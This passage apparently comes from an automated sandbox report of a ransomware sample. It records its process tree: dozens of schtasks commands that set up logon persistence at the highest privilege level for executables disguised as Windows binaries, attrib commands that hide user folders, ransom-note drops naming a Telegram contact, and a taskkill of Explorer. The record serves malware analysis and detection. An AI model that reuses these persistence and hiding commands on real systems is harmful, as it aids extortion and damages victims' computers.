- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_stordiag_21" /tr ""C:\Users\Admin\AppData\Roaming\UseHide\Logs\UpdateCache\stordiag.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6936
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_unlodctr_22" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\unlodctr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2016
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_unlodctr_22" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\unlodctr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6944
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_setup_23" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2364
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_setup_23" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6960
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3312
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6784
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_LaunchWinApp_25" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\Logs\UpdateCache\LaunchWinApp.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2236
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_LaunchWinApp_25" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\Logs\UpdateCache\LaunchWinApp.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6912
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_proquota_26" /tr ""C:\Users\Admin\AppData\Roaming\PingStop\Logs\proquota.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2548
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_proquota_26" /tr ""C:\Users\Admin\AppData\Roaming\PingStop\Logs\proquota.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7004
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_reg_27" /tr ""C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\Logs\reg.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:836
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_reg_27" /tr ""C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\Logs\reg.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6996
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SndVol_28" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\SndVol.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3208
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SndVol_28" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\SndVol.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6988
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3844
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6876
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_rekeywiz_30" /tr ""C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\rekeywiz.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1404
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_rekeywiz_30" /tr ""C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\rekeywiz.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6920
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cipher_31" /tr ""C:\Users\Admin\AppData\Roaming\ApproveRemove\Logs\cipher.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2232
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cipher_31" /tr ""C:\Users\Admin\AppData\Roaming\ApproveRemove\Logs\cipher.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6980
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesHardware_32" /tr ""C:\Users\Admin\AppData\Local\Publishers\Logs\UpdateCache\SystemPropertiesHardware.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4108
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SystemPropertiesHardware_32" /tr ""C:\Users\Admin\AppData\Local\Publishers\Logs\UpdateCache\SystemPropertiesHardware.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6752
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @angel1cSup 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4468
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:6724
- - C:\Windows\SysWOW64\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:2368
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @angel1cSup 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:2304
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @angel1cSup 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:2292
- - C:\Windows\SysWOW64\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:7524
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @angel1cSup 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:4588
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @angel1cSup 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:4836
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:13980
- - C:\Windows\SysWOW64\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:11192
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @angel1cSup 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:4448
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:16240
- - C:\Windows\SysWOW64\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:8064
- C:\Windows\SysWOW64\taskkill.exe
  taskkill.exe /im Explorer.exe /f
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2664
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_sfc_1" /tr ""C:\Users\Admin\AppData\Roaming\WaitSync\Logs\sfc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7048
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_sfc_1" /tr ""C:\Users\Admin\AppData\Roaming\WaitSync\Logs\sfc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:14912
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_regedit_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\regedit.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7060
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_regedit_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\regedit.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:13888
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_vcredist_x86_3" /tr ""C:\ProgramData\Package Cache\{61087a79-ac85-455c-934d-1fa22cc64f36}\UpdateCache\vcredist_x86.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7076
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_vcredist_x86_3" /tr ""C:\ProgramData\Package Cache\{61087a79-ac85-455c-934d-1fa22cc64f36}\UpdateCache\vcredist_x86.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:14864
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7084
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:13840
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_eventvwr_5" /tr ""C:\Users\Admin\AppData\Local\Temp\scoped_dir4172_56197266\Logs\UpdateCache\eventvwr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7096
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_eventvwr_5" /tr ""C:\Users\Admin\AppData\Local\Temp\scoped_dir4172_56197266\Logs\UpdateCache\eventvwr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:13944
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_convert_6" /tr ""C:\Users\Admin\AppData\Roaming\UndoSave\Logs\convert.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7108
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_convert_6" /tr ""C:\Users\Admin\AppData\Roaming\UndoSave\Logs\convert.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:13792
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wiaacmgr_7" /tr ""C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\UpdateCache\wiaacmgr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7120
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wiaacmgr_7" /tr ""C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\UpdateCache\wiaacmgr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:13928
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SearchFilterHost_8" /tr ""C:\ProgramData\MicrosoftService\SearchFilterHost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7132
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SearchFilterHost_8" /tr ""C:\ProgramData\MicrosoftService\SearchFilterHost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2748
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:7140
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:14856
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fc_10" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\fc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7152
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fc_10" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\fc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3184
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_proquota_11" /tr ""C:\Users\Admin\AppData\Roaming\PingStop\Logs\UpdateCache\proquota.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:7164
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_proquota_11" /tr ""C:\Users\Admin\AppData\Roaming\PingStop\Logs\UpdateCache\proquota.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2588
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_esentutl_12" /tr ""C:\Users\Admin\AppData\Local\Packages\Logs\esentutl.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6644
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_esentutl_12" /tr ""C:\Users\Admin\AppData\Local\Packages\Logs\esentutl.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15632
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_backgroundTaskHost_13" /tr ""C:\ProgramData\MicrosoftService\backgroundTaskHost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6692
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_backgroundTaskHost_13" /tr ""C:\ProgramData\MicrosoftService\backgroundTaskHost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15684
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6672
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15340
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_reg_15" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\reg.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6688
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_reg_15" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\reg.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15332
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_find_16" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\find.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:6660
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_find_16" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\find.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15348
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ctfmon_17" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\ctfmon.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6972
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ctfmon_17" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\ctfmon.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15316
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesDataExecutionPrevention_18" /tr ""C:\ProgramData\USOShared\Logs\UpdateCache\SystemPropertiesDataExecutionPrevention.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6780
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SystemPropertiesDataExecutionPrevention_18" /tr ""C:\ProgramData\USOShared\Logs\UpdateCache\SystemPropertiesDataExecutionPrevention.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15444
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:6768
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9984
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_rundll32_20" /tr ""C:\Users\Admin\AppData\Local\Temp\scoped_dir4172_1781407160\Logs\rundll32.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6728
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_rundll32_20" /tr ""C:\Users\Admin\AppData\Local\Temp\scoped_dir4172_1781407160\Logs\rundll32.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15740
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_iexpress_21" /tr ""C:\Users\Admin\AppData\Roaming\Sun\Logs\iexpress.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:7012
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_iexpress_21" /tr ""C:\Users\Admin\AppData\Roaming\Sun\Logs\iexpress.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15748
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_TSTheme_22" /tr ""C:\Users\Admin\AppData\Local\Comms\Logs\TSTheme.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6732
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_TSTheme_22" /tr ""C:\Users\Admin\AppData\Local\Comms\Logs\TSTheme.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15664
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_WerFault_23" /tr ""C:\ProgramData\MicrosoftService\WerFault.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5920
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_WerFault_23" /tr ""C:\ProgramData\MicrosoftService\WerFault.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15324
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7116
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15428
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fc_25" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\fc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7172
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fc_25" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\fc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15308
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RmClient_26" /tr ""C:\Users\Admin\AppData\Roaming\GroupRequest\Logs\RmClient.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7184
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RmClient_26" /tr ""C:\Users\Admin\AppData\Roaming\GroupRequest\Logs\RmClient.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:15624
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_rundll32_27" /tr ""C:\Users\Admin\AppData\Local\Temp\scoped_dir4172_1781407160\Logs\UpdateCache\rundll32.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7204
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_rundll32_27" /tr ""C:\Users\Admin\AppData\Local\Temp\scoped_dir4172_1781407160\Logs\UpdateCache\rundll32.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15648
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_WerFault_28" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\WerFault.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7388
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_WerFault_28" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\WerFault.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15640
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7424
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15616
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_rundll32_30" /tr ""C:\Users\Admin\AppData\Local\Temp\scoped_dir4172_1781407160\Logs\UpdateCache\rundll32.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7432
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_rundll32_30" /tr ""C:\Users\Admin\AppData\Local\Temp\scoped_dir4172_1781407160\Logs\UpdateCache\rundll32.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15652
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_psr_31" /tr ""C:\Users\Admin\AppData\Roaming\AssertRemove\Logs\psr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7444
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_psr_31" /tr ""C:\Users\Admin\AppData\Roaming\AssertRemove\Logs\psr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15436
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_setupugc_32" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\setupugc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:7456
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_setupugc_32" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\setupugc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:15696
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_gpresult_1" /tr ""C:\Users\Admin\AppData\Roaming\InstallOptimize\Logs\gpresult.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9880
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_gpresult_1" /tr ""C:\Users\Admin\AppData\Roaming\InstallOptimize\Logs\gpresult.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6572
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_InfDefaultInstall_2" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\InfDefaultInstall.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:9892
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_InfDefaultInstall_2" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\InfDefaultInstall.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:16192
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_vcredist_x64_3" /tr ""C:\ProgramData\Package Cache\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\UpdateCache\vcredist_x64.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9912
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:10052
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_vcredist_x64_3" /tr ""C:\ProgramData\Package Cache\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\UpdateCache\vcredist_x64.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:16216
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9932
- C:\Windows\SysWOW64\cmd.exe
